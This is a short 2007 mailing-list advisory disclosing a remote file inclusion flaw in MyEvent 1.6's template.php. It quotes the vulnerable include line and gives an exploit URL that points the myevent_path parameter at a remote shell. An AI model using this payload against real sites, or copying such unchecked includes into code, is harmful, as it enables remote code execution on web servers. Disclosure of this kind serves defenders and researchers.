MyEvent1.6 (template.php) Remote File Inclusion Vulnerability

From: <yaser_at_gencturk.net>
Date: 2 Jun 2007 07:07:53 -0000

('binary' encoding is not supported, stored as-is) #########################################################################
 #
 # MyEvent1.6 (template.php) Remote File Inclusion Vulnerability
 #
 # Author: Yaser <yaser_at_gencturk.net>
 #
 # Homepage: http://www.ayyildiz.org
 #
 #########################################################################

 #########################################################################
 # Download S : http://mywebland.com/download.php?id=6
 #
 # ERROR:
 #
 # include_once($myevent_path.'includes/template.php')
 #
 # Exploit:
 # http://[site]/[PaTh]/includes/template.php?myevent_path=[shell]
 #
 #########################################################################

 Thanks: ir4dex - ht08 - ajann - H0tturk - Zakix - Devil Hacker
Received on Jun 02 2007